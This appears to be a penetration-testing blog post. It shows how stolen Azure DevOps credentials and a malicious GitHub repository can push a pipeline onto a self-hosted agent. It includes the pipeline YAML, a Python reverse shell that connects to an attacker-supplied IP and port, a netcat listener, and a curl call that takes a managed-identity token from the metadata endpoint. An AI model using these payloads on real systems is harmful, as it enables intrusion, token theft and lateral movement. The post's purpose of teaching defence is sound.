Edit Template

CI/CD Attack Path: Reverse Shell via Azure DevOps and GitHub Integration on a Self-Hosted Agent

Attackers can exploit improperly secured Azure DevOps pipelines to execute malicious code on self-hosted on-premises agents creating a direct path from cloud environments to internal infrastructure. In this post, we’ll walk through a real-world inspired scenario that demonstrates exactly how such an attack can unfold.

By compromising a machine in the environment through methods like local enumeration or credential dumping, we assume the attacker is able to extract valid credentials for an Azure DevOps user. With those credentials, the attacker gains access to the DevOps portal, creates a custom pipeline that points to a malicious GitHub repository, and ultimately achieves a reverse shell on the underlying infrastructure. This is a scenario where the Identity doesn’t have permission on DevOps Repo and Agent Pools are misconfigured to accept all the pipelines to let them connect with them.

This attack path highlights how lazy access controls, combined with overly permissive pipeline configurations, can result in full compromise of internal systems and sensitive cloud-connected workloads.

We start from an assumed breach where we recovered (found, stole, leaked, social engineered…) credentials, but we only know the Tenant ID for the impacted user, not the domain. This is usually obtained when clicking on Sign-in with Microsoft. For this scenario, let’s assume the user is synced with Entra ID. This happens when the environment leverages Entra ID Connect (Azure AD Connect), which allows users to login on-prem and login with the same password. This is a commonplace practice these days due to hybrid infrastructure requirements.

With just having the Tenant ID, we can find the Domain name using the link below, thanks to Dr. Nestori Syynimaa.

https://aadinternals.com/osint/

Provide the Tenant ID and click on Get Information. It will give the tenant’s name, which can be used to login via Azure portal.

Now log into the DevOps portal using the credentials and if the user has access to any of the projects or even has any permissions, this will list organizations and its respective projects based on the permissions.

Login: https://dev.azure.com/

In the “Project Settings”, click on Agent pools. Take note of the agent’s name.

The name “Azure Pipelines” is the Agent’s pool that is owned and managed by Microsoft. The term “Default” is just a pool name that can have self-hosted agents. We can create new pools like one highlighted.

Let’s enumerate the pipeline to check if there are any possible ways to exploit it. As in the screenshot below, we do have one pipeline.

Click on the pipeline and click on Edit.

Click on Edit to check the pipeline configurations.

Since the pipeline is attached with the Azure DevOps Repo and the current logged in user doesn’t have Repo Permissions, this pipeline does not let us see the configuration, nor can we edit the YAML file. But luckily, this organization has the Classic Editor option enabled, which we can use. This Classic Editor allows us to create pipelines without writing and YAML files, we just need to use the built-in task.

Once we click on Classic Editor, we see an option for selecting the source. Since we don’t have access on Azure DevOps, we can utilize an external source like GitHub and run the pipeline by connecting the self-hosted agent.

Create a new GitHub and add the following files to your GitHub repo, which will be used by the pipeline. Update the name of the pool with the agent’s name below and save it as azure-pipeline.yml.

trigger:
- main
 
pool:
  name: <AGENTNAME>  # Specifies the self-hosted agent pool
 
steps:
- script: |
    sudo apt-get update -y
    sudo apt-get install git -y  # Install Git if not already available
  displayName: 'Install Git'
 
- script: |
    # Install Python 3.11 if not installed
    sudo apt install python3
  displayName: 'Install Python 3.11 if not present'
 
 
- script: |
    python3 <FILENAME>.py  # Run python File
  displayName: 'Run <FILENAME>.py'

AGENTNAME will be the one we found from the project’s settings agent pool list. And, FILENAME.py will be our malicious file that will run our reverse shell command.

Create a file with any name, like test.py, containing the payload below for our reverse shell. This will run when the pipeline is started.

import socket subprocess, os, pty
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("<IPADDRESS>",<PORT>))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1);os.dup2(s.fileno(),2)
pty.spawn("sh")

Our Malicious Repo is ready. Now create a personal access token (PAT) for your GitHub account, which will be used to create a connection for the pipeline source.

Click on your GitHub account icon and click on settings.

Now scroll down and click on Developer Settings.

Click on Personal access tokens and select Tokens (classic). Then click on Generate new token (Classic).

Add a note in the note section and select all necessary permissions, then generate a token.

Copy the token and save it in a safe location.

Now we have all the pre-requisites for running a pipeline; let’s get back to pipelines in Azure DevOps and click on edit. Then click on Use the classic editor.

Select Get sources and GitHub. Now copy and paste the GitHub PAT by clicking on Authorize with a GitHub personal access token. This creates a new service connection between Azure DevOps pipeline and the GitHub repository.

Paste the PAT that we created for the GitHub.

Now let’s have the listener ready for reverse shell using net cat or any listener of your choice (in this example, we use net cat). Once we authorize and save it, we will be running the pipeline, which gives us a connection back to the listener.

Command:

nc -nvlp <port>

Output:

Now select the GitHub Repository where we have uploaded the files and click on Save.

Now go back to the pipelines and click Run pipeline to start the pipeline. Once the pipeline starts running, we should receive a connection in the listener in a minute if everything is configured correctly.

And here we have our reverse shell.

To check if this system has managed identity or not, we can execute the cURL request below to get the ARM access token.

curl -H Metadata:true --noproxy "*" "http://169.254.169.254/metadata/identity/oauth2/token?api-version=2021-02-01&resource=https://management.azure.com/"

Output

In an actual penetration test, there are multiple scenarios where this access token can be further used. If it has additional access, such as with Entra ID or an Azure resource (e.g., database access), this could lead to significant access to the target environment.

This blog post highlights how attackers can pivot from cloud DevOps environments into internal infrastructure using pipeline manipulation. By exploiting weak GitHub integration and pipeline source control, a reverse shell was achieved on a self-hosted agent. From there, metadata endpoints exposed additional cloud tokens, further expanding access.

The key takeaway: Treat pipelines and service connections as critical assets. Limit pipeline editing rights, restrict access to agent pools, and monitor connections to external GitHub sources to prevent unauthorized command execution and lateral movement.

To learn more about CI/CD hacking, check-out our course Attacking & Securing CI/CD Pipeline Certification
(ASCPC)
.

Posted by:

Raunak Parmar

Senior Cloud Security Engineer

Edit Template